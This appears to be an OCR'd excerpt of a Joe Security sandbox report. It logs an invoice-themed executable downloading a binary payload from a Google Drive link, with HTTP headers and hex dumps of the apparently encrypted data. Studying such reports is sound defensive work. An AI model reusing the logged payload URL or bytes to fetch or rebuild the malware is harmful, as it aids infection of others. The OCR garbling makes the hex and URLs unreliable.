r5cuquncp?lqv8a7pcklg93e/1631574375000/14701716994733946506/*/10smUBPgaz7U1kQk-aksiaM6pSN2MMsz4?e=do
wnload

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."

Content-Security-Policy: script-src ‘nonce-2P7PWEjjh2xXcJJOQizbPg' ‘unsafe-inline' 'strict-dynamic" https: http: ‘unsafe-
eval';object-src ‘none’;base-uri ‘self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Set-Cookie: NID=223=vla6FY14CFUNiPyPz86HcBONNO5Hq98ycWPal-1tCs-dPsU9riQkC6bojtouRBdgMVkggN
kg76WjMdTnK7apUk0odKxcctApT945Gdc_IxIFIxIIVVAXoYFMwwhJIxlhyhvemBC7B1zWthEK4Af505GgbkAyiSUFhe
XgRURQNV24; expires=Tue, 15-Mar-2022 23:07:17 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=non
E

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 38 34 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4c¢ 45 3e 0a 3c 2f 48 45 41 44 3e Oa 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
72617269 6¢ 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 34 2d 31 73 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6¢ 37 64 65 66
66 6b 73 75 6¢ 68 67 35 68 37 6d 62 70 31 2f 66 34 6d 38

Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-04-1s-docs.goog
leusercontent.com/docs/securesc/haOro937gcuc?I7deffksulhgsh7mbp1/f4m8

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.102.132 443 C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER
2021 shipment.exe

Data
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kBytes
Timestamp transferred

2021-09-13 23:07:17 UTC 1

2021-09-13 23:07:18 UTC 2

2021-09-13 23:07:18 UTC 5

2021-09-13 23:07:18 UTC 9

2021-09-13 23:07:18 UTC 12

2021-09-13 23:07:18 UTC 16

Copyright Joe Security LLC 2021

Direction

ouT

Data

GET /docs/securesc/halro937gcuc?I7deffksulhgs5h7mbpl1/f4m8v3r8r5cuquncp?iqv8a7pcklig93e/1631574375000/1
4701716994733946506/*/10smU8Pgaz7U1kQk-aksiaM6pSN2MMsz4?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-04-1s-docs.googleusercontent.com

Connection: Keep-Alive

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycdvIMXOnAOvoW9BWRNndmSHIcgjXk8TLnIploQjSM2AkrsFql0WTQtuZ4dnX5awD
KQjX4ETd4C094gfs1EbASCE

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, X-Goog-Sn-Metadata,
X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, Xx-goog-request-params, Host, If-Match, If-Modified-
Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, hotrod-board-
name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-
Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-F
irebase-GMPID, X-Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-
GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-AuthUser, x-
goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-Pageld, X-Goog-Encode-
Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-
goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings,
X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Conte
nt-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length,
X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-
Upload-Protocol, x-goog-user-project, X-Goog-Visitor-d, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key,
X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-
Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-Code-
Override, X-los-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-
YouTube-Page-Timestamp, X-Compass-Routing-Destination, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goo
g-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-ldentifier, X-Goog-
Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, X-sdm-id-token, X-Sfdc-Aut
horization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-P
rofile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-a
ccount-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-
alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout

Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="JP_QATYPWUmk157.bin";filename*=UTF-8"JP_QATYPWUmk157.bin

Date: Mon, 13 Sep 2021 23:07:18 GMT

Expires: Mon, 13 Sep 2021 23:07:18 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=igynOQ==

Content-Length: 579136

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 36 8d 40 4a d6 b4 4c 78 cf 8f ac b1 76 8e 8d d6 a3 49 Oc 86 35 22 5d ce e5 b3 c4 03 1a 52 a4 ab a0 9d a4 ff 66
3c 38 e5 8f 1e 40 61 1f 54 b3 e0 12 83 29 bd 5e 2c 2f 7f fb e4 60 fe fd f1 e8 82 49 f1 2a f2 ef 64 2a 41 ee 05 16 79 b8 59
bd Oa 1f dc 42 95 df a9 f2 2b 0d 75 e6 e5 09 da 06 c8 27 6d a5 Oe a2 48 1b 9c 84 9c cf 7b 10 ec al 3c 73 c5 4f 26 cf 1c 5b
1b 9e 85 4e 41 b6 32 c3 81 45 9f b7 €9 50 01 5f 33 13 05 9e ac 5a 27 be ee 3a 7f cb 8f 76 6e a2 04 71 de a3 13 df 08 99
9c 81 7c 7f ec 27 ff 87 be a9 79 ec 01 80 be 40 04 a9 23 33 c2 7f 7c fb 6d 07 df 7d 2b 75 25 eb 33 b4 61 ba 17 34 23 f5 6e
55 51 bd 47 ee e6 30 00 b3 5¢ 7c c2 28 25 4b 68 83 84 03 b6 60 €2 10 ec d4 32 3a 47 0d 7e ba 71 41 6d 92 f1 1b d6 a9
58 e5 8d f2 65 cc 33 28 93 94 ca 2d 86 c1 32 8e

Data Ascii: 6@JLxvIS"|Rf<8@aT)",/ I*d*AyYB+u'mH{<sO&[NA2EP_3Z"vnq|'y@#3|m}+u%3a4#nUQGO\|(%Kh'2:G~qA
mXe3(-2

Data Raw: 86 1a c7 56 2c a6 30 09 56 ¢4 ¢5 1e 53 d2 d6 88 3e 05 31 75 fd 71 91 al 11 5¢ f4 99 4a 30 4a 9c 65 fa 2b 8f 62
bl e3 f3 39 5b 32 62 73 c1 fa 2e 60 96 b5 al 7d e2 7b 2d 30 85 97 4c ec 3 2e eb ea d6 32 Oe ¢l 29 92 24 {6 69 7b e2 a7
3d 82 7b 4e 9c 7e ff 9a e1 00 b0 ee a2 dd 61 96 cc b9 fb 4c ae d8 18 1b 88 b2 2 16 de 8 d0 59 1f e7 11 6¢ 99 09 87 €5 5a
bb al b6 16 82 fe 13 c2 3b d3 d0 75 24 d5 01 a4 65 98 4c 42 1d 1b 9b 65 Ob b0 7b 17 91 ¢4 2a 4e d4 52 5a ¢5 79 ee ec dd
80 4c 31 a8 82 2 a5 9b d8 Oe 35 9f 21 9 4 a6 f3 d7 4a 62 19 21 ¢3 36 ca d9 2b ac ae ¢3 db 43 ba 30 44 59 9b af b6 91
67 a6 4e Ob c1 50 06 a0 Oe f3 85 d5 Oe 73 1f 93 56 52 07 40 96 b6 27 5f 3d 94 18 cd 11 b5 63 d8 85 e5 a8 Oe ¢3 04 53 3b
59 5e 2e 56 9e 23 bl c8 54 d7 5f f1 3e 6 04 88 7a

Data Ascii: V,0VS>1ug\J0Je+b9[2bs. K-0L.2)$i{={N~aLYIZ;u$eLBe{*NRZyL1.5!Jb!6+CODYgNPSVR@'_=CS;Y A.V#T_>z

Data Raw: 52 d3 3a 40 74 4d 2b ea bd dd 7 6f 5¢ c9 05 7b 75 1f ¢4 7a 0a 82 €0 19 16 ab 68 89 87 e8 66 97 f0 15 3d 31
3523 03 5 d9 32 2e 47 03 5d 24 20 40 Oa fe 6 1b ab d5 1e c8 3e d8 f0 90 7b ed 08 38 fc de 2e {7 22 44 76 a3 c8 67 95
d5 4 3d 37 50 €0 5¢ 7c 7 00 73 04 1b 96 d9 4d 88 4e 97 42 9b d9 59 94 30 dd d8 ¢3 28 26 d9 ed 1d 5d 81 7d 7c ce ae
12 47 b7 a5 af 93 3b 23 Oc 51 59 el 26 ac 78 5f ce 6¢ f4 fb 2a b4 ea 36 d4 da 71 8¢ ad 8d 7b 99 €9 17 25 63 40 7d b3 94
8 60 b2 4d 25 2c 06 06 80 11 c5 a7 68 dd 73 ed 02 f1 cd b3 68 c6 e2 1d db 7b 02 69 6¢ 1f da 79 Oc 9e c7 36 dc fe ea 2b
b7 00 b0 38 68 d2 41 6e f2 al 5e 96 11 75 €0 76 fe 9f 21 ae 08 84 23 95 5d ¢6 Of cd €3 00 34 47 ¢3 5¢ 9 c0 7d 5d 46 79
50 94 61 2b 3 e7 80 68 00 a6 d6 5e 5 5¢ d9 cc 2b 79 21 15

Data Ascii: R:@tM+0\{uzhf=15#2.G]$ @>{8."Dvg=7P\[sMNBYO(&]}|G #QY&x_I*6q{%c@} M%,hsh{ily6+8hAnruvi#]
4G\JFyPa+hM\+y!

Data Raw: 4d 1b 2e 60 c0 ¢3 99 d3 b8 54 ca el 72 57 6f b8 82 6¢ 22 b2 9a cb 87 e4 db a5 el 6d 23 d7 35 e5 a8 Oe 27 df
76 2b 6d 17 Oc c0 e2 00 07 d1 2f 81 ad f2 9f 3d 79 ef 37 02 1e €9 03 b3 5¢ 7d bd c7 fe 31 1e bd d5 31 87 af fa 16 f1 0a 5b
0d 98 51 0d 84 d0 20 a9 c0 ea f4 85 90 ad 09 52 43 36 aa 28 5b 5e 4a 84 f4 9c 84 f4 b7 d9 56 ec 49 9a cc c6 4f 7f 06 df Oe
90 72 d4 fe 5e 61 76 3f 9e c¢7 15 0d d4 99 43 86 ce 76 b0 62 al 14 ff e8 f5 56 86 ae 03 ef ee 48 33 ed 75 c6 8f be 36 4e 8b
8314 1d 61 8a 62 f2 d0 el 7e 20 67 c4 19 74 9b c7 4c Oe 6e 92 24 7d 8b 72 6e 76 ed 30 da eb bb be c7 ab 1a cl c8 fc e2
a9 6b 40 4f 54 0c 87 81 eb 86 f5 f4 b7 5a 7a f1 33 8e 26 7e df b0 bb 87 ca 60 1a bd b0 47 75 el d9 el Oc b2 e7 bd d7 e4
72 87 cl ad 5f 44 la ea 22 73 36 88 d7 f7 41 dO

Data Ascii: M. TrWol"'m#5'v+m/=y7\}11[Q RC6([*JVIOr*av?CvbVH3u6Nab~ gtLn$}rnvOk@OTZz3&~ Gur_D"s6A
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 18 IN Data Raw: 1le 5d 23 54 24 a4 23 f8 ¢9 e5 5b 02 61 76 1e ee 3b 56 d4 d9 30 f6 9d 4c 93 f4 8e c1 36 c0 71 1fa3 cl ac 91 11
28 ¢4 5d 28 10 aa a6 15 72 28 8f 2f aa dd db 49 a0 ff ¢7 20 12 05 2d 35 18 37 5¢ b5 5d df 23 e6 dc 4c b8 a3 72 8d 60 20
2d 2e 0d Ob 4a b9 d7 bf f4 69 44 98 b9 f0 a9 8b 88 b8 ee 60 12 14 3b cb 4e 2c ec d4 fd 19 13 ce 8e 0Ob 5d f3 3a 37 cf 68
18 c4 61 8e 58 1b 69 5¢ 51 23 05 41 c7 4f e3 11 2e 8d 7c c8 fe cd fO 5e 1f 5¢c b7 69 82 ee 3b ef c3 fa 5e 09 5d 5c 70 be 83
laecda00 f5 00 cb 03 05 1f d3 b0 ce 67 ed 9b 28 1f a7 78 98 51 a6 cf 25 9e e5 6¢ ae 04 a0 b1l 7e c8 38 35 Oa 1d 49 5f
53 ae 69 b0 cf Oc f0 13 ad 65 2b c9 d5 6f d0 81 e5 16 7f 06 8b 2a 88 6e 2a Oc 9a eb eb Oc 39 57 56 5f 3a f4 77 36 ec 90 11
0022 9f 4a bl e7 33 04 d4 bl a4 13 70 d6 9f 42
Data Ascii: [#T$#[av;VOL6q(](r(/l -57\]#Lr" -.JiD";N,]:7haXi\Q#AO.|"i;"]\pg(xQ%I~85I_Sie+o*n*OWV_:w6"I3pB

2021-09-13 23:07:18 UTC 19 IN Data Raw: 92 bc 9b 6d 4c 95 86 6e c4 7b 98 83 bc 7e ¢7 d0 e4 ba e3 1d fb a5 7f el f6 32 d4 14 ff 62 74 ec 43 08 f1 ec 3d
e3 82 bf 8e fa fa ab aa Oc 5b 60 99 b7 c4 e2 97 cd ec 08 8c dO dd 2c fe 35 08 41 aa e0 f3 97 7c dd d9 7b 9c ff 37 15 la el
bf 8b cc 3c 23 45 51 ae f0 6f 08 Ob b7 60 76 3c 81 1b 39 bd 9d 18 b5 be 40 dO bd 9f 88 0d a5 ac 86 bb 94 59 fc 04 58 Oc
b5 45 38 6f f3 52 6a 46 af 32 19 e9 d5 3e 9d 9a 17 cc e8 b0 27 ad c8 20 e4 03 09 ab b3 3f 43 f6 57 6f da 88 6b 6 dd el 40
f6 b0 56 79 dc 8 b7 e2 a3 ad 37 71 ed 8c 46 d9 90 46 b0 e2 4b fd 84 al b3 46 6a 38 df 30 94 97 8f 60 ab 46 cc 11 fe 54
4173 e8 14 cc a9 9d bc e3 86 63 6b 92 f6 e7 69 05 b5 ab 4b 6e 48 c2 1a fa 27 d1 3d 84 0a 8a 98 87 1d e5 37 ea fb e0 5a
97 8e 36 f1 86 ab 21 77 79 2d b4 Oc 19 8e 74 fb
Data Ascii: mLn{~2btC=[",5A|{7<#EQo0 v<9@ Y XE80RjF2>' ?CWok@Vy7qFFKFj80" FTAsckiKnH'=7Z6!wy-t

2021-09-13 23:07:18 UTC 20 IN Data Raw: bd 4c 3b 81 f1 c6 2e be d4 04 17 8e 0d f6 7e 09 b6 1a de ad b5 46 a3 e7 82 fd f9 5¢ 70 be 83 fa 33 5a 37 40 32
e2 52 a7 e0d3 50 d3 3d 12 a3 bd 26 10 f6 dd 6 3f e4 a5 c¢8 09 3d 77 de c2 b2 82 08 de c5 09 2e d0 a6 dc fe 1f 1c cf 18
ee 6f 80 ea 06 ff 79 9e 6e 0d 17 c1 7f 1f 4c 3f c7 65 27 2f b2 c4 f4 11 05 6a 18 7a f8 75 32 20 af 27 98 45 9d 66 cd €9 8b
9e 04 c1 a5 67 e7 3a d6 8d 83 ¢3 3d 5e 39 60 75 4c 36 e4 e2 19 ec 97 69 58 35 15 f1 89 88 85 a8 b6 90 db b4 e6 52 €6
ab 9d ea 00 84 ¢6 77 7b d1 1d aa ac 14 7e ¢7 9d 76 db 93 e7 ¢7 68 dc 75 5e 63 61 96 d1 2c 60 99 €9 17 25 c5 29 fd 8a d1
7b c9 74 69 2e 5f 6b 52 60 a4 2e a0 fa 35 84 2b 1le c7 Oe b6 5a aa c7 e4 f3 54 3¢ 68 44 56 ef 13 9e 18 {7 92 8c ce a9 a8
16 cb 00 68 69 73 ec 34 35 ea 5e 94 d7 b8 52 8b 1e dO
Data Ascii: L;.~F\p3Z7@2RP=&?=w.oynL?e'/jzu2 'Efg:="9 uL6iX5Rw{~vhu”ca, %){ti._ kR .5+ZT<hDVhis45"R

2021-09-13 23:07:18 UTC 22 IN Data Raw: 44 6f da cc f1 be ad 82 ce d7 ¢7 db 9e b6 55 73 f7 8¢ 31 60 14 8f a0 67 13 93 78 dc 35 a6 13 3b 80 3f 91 c0 c1
f2 cb 2a 13 9c b4 cb 12 dc af 70 1b 71 f8 0a d2 a0 5c al db be e3 db 99 d8 37 bc 24 63 f2 d6 c6 87 20 33 fc al b5 35 ba
bd al d4 41 93 03 93 e8 ce a2 a3 f3 bd c2 6a al c8 27 25 bc a9 el 83 0f b4 9e 69 3a 14 1c 07 ef 87 18 03 5d 23 c5 f4 73
a8 ff 18 3c db 1a cf 45 ¢8 24 aa cc €9 68 85 ac 06 88 b2 b8 e3 d0 6c 2e 22 2f 10 84 4 0f 3b fd 39 4e 48 8b c5 4f 7c 70 Of
86 22 0d d0 35 d5 f9 dc b5 ae 89 al ed 14 53 fc 18 64 58 f7 a8 28 el e7 7e 63 64 f4 57 dc 14 d1 a5 6b ea 90 a0 49 96 52
67 ba 33 Oe 0f c8 52 8a 64 6e 96 17 52 2c 5d eb 40 84 fb 3e 82 5e e7 88 ba 53 f9 d8 56 b7 6a 30 a9 10 11 88 7c b4 f4 7b
b9 f2 4e ec cc 27 d1 46 8c a3 d0 e7 99 30 43 61 1d
Data Ascii: DoUs1 gx5;?*pg\7$c 35Aj'%i:]#s<E$hL."/;9NHO|p"5SdX(~cdWkIRg3RdNnR,]@>"SVj0|{N'FOCa

2021-09-13 23:07:18 UTC 23 IN Data Raw: 4a 8b 49 9c el 8c e2 01 32 el fe db b2 6f 62 43 d8 3a fa 7a 8b 28 88 f0 64 Oa 28 da 57 d4 7f 4b 13 26 ab 3a
58 5d cb 7c 28 38 92 4e 63 Ob 28 98 10 46 Oc d8 8c 74 ff ce 3b 3e 9a 2c 62 5f 1c 8e ad d8 6d 7f 36 5f 3e de 31 3c 6b al
ba 6¢ 45 aa 2e c5 a0 66 d7 c3 c1 dd cd e3 b9 3e 31 13 db 7b 19 37 6f 1f eb da 6e 8d 4c 32 Oa df f5 24 c6 cc 13 a7 a4 3e
2316 cb 76 5e 8f d6 b8 5b b0 3a 02 ff b8 8b 3b €0 a8 49 6¢ d0 4a d4 b6 43 cf Oc e7 82 b5 c7 00 49 7e 2e 6d 79 31 60 cb
83 8f 2e c3 e4 5d 95 bc 00 8e 36 f2 25 45 95 b1 72 70 2e 07 24 92 Oa bc eb 3a 1f ff b1l a8 23 07 f4 c2 6e c9 9a 6b 74 f6 19
93 d3 d2 5d 39 8 fc 46 7e 8a 38 a8 14 48 10 Oe 36 f2 9a e6 52 41 23 d7 35 e5 ca 76 c6 66 49 63 85 69 9b 3e 6f 2d 9d 26
81 80 b5 22 3d 56 fb 14 b8 c1 a3 b9 50 el ed Oc b3 41
Data Ascii: JI120bC:z(d(WK&:X]|(8Nc(Ft;>,b_m6_>1<kIE.f>1{7onL2$>#v[;IIICI~.my1".]6%Erp.$:#nkt]9F~8HERA#5VfIci>0-
&"=VPA

2021-09-13 23:07:18 UTC 24 IN Data Raw: 13 ¢4 2e 70 02 Oc 69 b8 Oe 76 8b f0 al d2 84 81 59 c4 61 91 61 34 a3 d2 00 32 cd 4f f3 2d 5f f0 54 3e c9 fa f6
ce 49 b7 91 fe 5d de 6a 26 6b ec el c2 24 83 e4 b7 d7 02 2a 94 43 94 a7 e6 aa d3 e4 2d 29 bd 53 ea 9a d7 8b b0 b4 f0 98
bb 8b aa al de ff 98 84 93 eb 28 fa ee de c4 b6 {3 65 27 50 a0 48 5c 21 b4 57 14 c2 4c a9 Oa a0 c8 13 1b e7 2e 14 b6 1f
94 8c 7a ab b9 c6 56 b0 a6 5e 5b e6 {7 98 Oe 9d 14 91 e6 88 96 b0 fa 99 a2 24 9c e0 67 90 1d 6b 5e 63 c¢7 30 13 05 24 Oe
3c e5 74 f0 50 25 {7 fb 34 27 de Oc 91 d5 51 20 4f 91 76 38 Oe ed f9 3d 22 1b b0 69 a6 71 5d 30 89 b8 e5 3c 7b bd 93 75
43 d4 36 06 73 20 20 66 2b ea e7 e7 bc ab 78 5b 54 98 5d 0d 8e 68 8f 7e e5 8f 8f f0 d0 98 74 5d db 78 f9 07 b2 98 b4 7e
le ecb5f254 a9 76 13 40 97 75 0a a0 72 98 dc 80 4a
Data Ascii: .pivYaa420-_T>1]j&k$*C-)S(e’PH\IWL.zZV/[$gk c0$<tP%4'Q Ov8="iq]0<{uCés f+x[T]h~t]x~Tv@urJ

2021-09-13 23:07:18 UTC 25 IN Data Raw: 1a d2 5 83 35 37 64 e2 42 43 4b d4 b7 34 9f 3f 32 ed cd 83 5 39 f6 ad 94 09 73 3a 00 c6 80 99 1f 18 5d 9c cc
d3 5a f5 le 4e 9a 56 82 a0 df 05 53 08 8b eb a9 f9 53 d8 e3 8f 64 79 88 5¢ 54 9a 14 5d 34 87 dd 88 58 5b b4 62 39 f8 fc 4f
7e 8a 38 al 14 48 10 Oe 39 f2 9a €6 52 48 6d c7 35 b5 23 2f 14 af 01 8b 2b 56 49 3e 07 63 50 c7 ¢7 68 7d 6b 9c 55 a2 84
b2 57 7d de ed 01 05 e2 31 fb ab 0a 94 64 29 d7 73 2b c3 53 86 47 2e f8 f4 1e 7c ca dd df 24 b7 d5 1d 9d f5 2c 09 da 6e
d4 8e 2b a5 e6 4f d0 18 9c dd 55 Oc 2e 9b 00 22 d0 6f ca 67 23 af d6 1c 1b ad 4c 41 50 e3 d5 04 c4 bd bb 79 8c 78 72 13
04 0e 80 b9 8b f1 c1 af 78 24 Oc 61 ba e2 31 81 7b 7 f2 00 89 a6 14 04 7e b0 bb db cc f8 8d a2 69 59 98 ca 21 2¢ 31 db
24 c4 24 45 0e 17 71 1e fd bb dc 7d 72 bc e6 be b8
Data Ascii: 57dBCK4?29s:]ZNVSSdy\T]4X[b90~8HIRHM5#/+VI>cPhikUW}1d)s+SG.|$,n+0U. "og#L APyxrx$al{~iY!,1
$SEqQ}

2021-09-13 23:07:18 UTC 27 IN Data Raw: da 1b c2 c4 a0 70 ad 91 3e ab 07 45 ba 43 93 ee ba 6e 01 5e 04 8c 1e c5 45 83 23 6b 9c 4a 24 9b 31 88 52 7a
5d 9f c9 e7 b8 a3 72 8d 52 20 97 27 ee cc 4e 37 ¢8 f6 04 95 d6 a7 bc 96 1d el Ob Oa d7 25 bd ad ab Ob fe a6 4c 00 f2 50
d7 a6 ec c7 45 5b 94 99 90 48 8c 9e a8 14 c4 53 d0 86 Oc 86 2e 08 8a 5a 3e 5d d8 8d e3 aa f5 0f 48 e4 c6 e3 f3 4d b4 a4
10 d4 6d 5 85 4c 90 d6 30 b6 c3 c9 ad da 09 b8 8a 6e 62 09 ee 5e 9d 61 05 ee 64 cO 3e a9 23 13 40 6f e4 8d d6 09 3d 77
78 cf b2 82 08 a6 fb 09 2e d0 a6 dc fe 1f 1c cf 18 fe d1 f9 28 23 c0 6f a3 63 fb df 95 c3 cf b3 5f 15 6d 93 22 5d 46 4c de 0d
91 7b ee 9e 82 3b db 2e 67 91 f8 72 25 8¢ 6e 21 2a 6¢ ¢9 30 50 €2 71 d6 95 45 d6 7b 9e e0 91 1d d9 d3 27 Oa 9b 59 dd
c1 76 dd 58 30 1a 63 d9 5¢ 7c 53 d7 f6 c9 84 81 4b 7d
Data Ascii: p>ECn"E#kJ$1RZ]rR 'N7%LPE[HS.Z>]HMmLOnb ad>#@o=wx.(#oc_m"]FL{;.gr%n!*I0PqE{"YvXO0c\|SK}

2021-09-13 23:07:18 UTC 28 IN Data Raw: 01 51 fa 71 14 61 59 44 60 48 ef 92 b6 2b 8 f0 61 99 bd 95 8f 10 ea a7 05 75 Oe 84 b6 da 06 a0 e7 c7 e3 Oe 4a
73 94 9f 84 ¢5 06 b8 45 67 4d bf 9f c9 fe 54 08 59 af 69 b0 93 5d 86 e3 cb ¢5 92 17 98 3e 27 97 f0 aa ff 2f a1l 9f dO db 03 1
c6 d0 f4 el 8¢ 01 8b 88 82 fb 42 Oe 35 4b a0 b2 Oc f5 Oc a4 b1 8a c5 f2 38 9d af 82 21 ac 47 b9 62 c4 a4 b9 29 52 71 af ae
€0 8a f6 c7 f6 c9 fb 00 21 fd 5e 7e 5d 00 33 bf e7 01 b5 cb 1a d3 fO cd af c9 f5 f1 3a 05 8b ac 50 14 41 2b 20 €8 93 20 78
207177 04 37 70 32 5d d1 b2 c8 86 a9 92 19 el 3d 6e 14 5f 87 af 5a 2d 46 59 4e 92 60 ed 48 bf 54 3c 2a 47 f2 61 30 c3
9b 4c 7a 43 55 51 53 €8 63 b0 b9 36 25 86 d8 84 1f 1d 4c ff 37 74 9b d1 69 99 cd c8 21 50 3f fd 75 a0 21 f8 9c c7 59 44 55
a5 24 34 12 71 4d 64 46 fa b9 02 06 ca
Data Ascii: QqaYD H+auJsEgMTYi]>'/B5K8!Gb)Rq!"~]3:PA+ x qw7p2]=n_Z-FYN'HT<*Ga0LzCUQSc6%L7ti!P?u!YDU
$4qMdF

2021-09-13 23:07:18 UTC 29 IN Data Raw: a2 36 68 7a bd 68 db 3d a4 1f 3b e5 1c c0 ab c2 09 ad 45 fO 74 8b 83 1c c1 6f ce 78 ec 56 6e ff 94 27 34 9f 19
20 96 26 2c 6b 53 b5 b7 a0 ec 76 be 29 23 ca 3e ae 11 c1 ec 90 b9 01 80 09 34 d4 1e b7 71 f2 3c ae cd 91 7b ee 9e e2 ce
be 57 6f 12 e8 69 ec 89 e4 04 31 2e 7e hd fd f8 3e 90 6a 1c 4f 01 Ob e2 35 9e dd 72 55 21 5¢ 74 61 42 77 99 f8 70 cc 9a
93 5a f7 d4 bl bd 43 c0 28 b9 89 5b 16 0f 86 7c 1d 48 ec a2 ec d1 c4 c6 6e 60 6a 9d 5a 32 dd 9c 00 13 cf 33 ¢7 d2 21 9d
b7 6a 51 25 95 8 a9 5e df 7b ¢9 91 3d 2d 5f 5a 45 06 b7 a5 a4 66 74 8b 9a 74 c9 88 15 e2 19 c4 12 1c d6 83 ce 2b 59 e5
20 6d be 00 9b 77 65 €9 1b a2 cc 84 2d 60 c6 18 ac c1 ed 56 9f fa Oc 20 ce b9 af 92 80 ce 91 65 95 e0 4f b6 65 eb f1 34 cf
ee 78 cd c3 83 e5 fa b6 ae 94 38 8a 50 13 4d 84 6b
Data Ascii: 6hzh=;EtoxVn'4 & kSv)#>4q<{Woil.~>jO5rU\taBwpZC([|Hn'jZ23!jQ%"=-_ZEftt+Y mwe-'V eOe4x8PMk
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kBytes
Timestamp transferred

2021-09-13 23:07:18 UTC 31

2021-09-13 23:07:18 UTC 32

2021-09-13 23:07:18 UTC 33

2021-09-13 23:07:18 UTC 34

2021-09-13 23:07:18 UTC 35

2021-09-13 23:07:18 UTC 36

2021-09-13 23:07:18 UTC 38

2021-09-13 23:07:18 UTC 39

2021-09-13 23:07:18 UTC 40

2021-09-13 23:07:18 UTC 41

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 7b f3 d2 52 38 37 19 52 f7 fa 2d 72 66 ce 59 fc c9 b2 c7 73 5f b1 f3 d5 fO 6b 99 Oe 3b 26 97 2b c5 7d 06 35 ca
f2 a4 8c 8b d9 e4 1c c6 Ob 1a b6 al fO cf c4 ec 54 f0 e2 29 c0 Of a2 b7 79 e7 cc a7 03 92 91 48 c9 al d8 a9 85 10 19 19
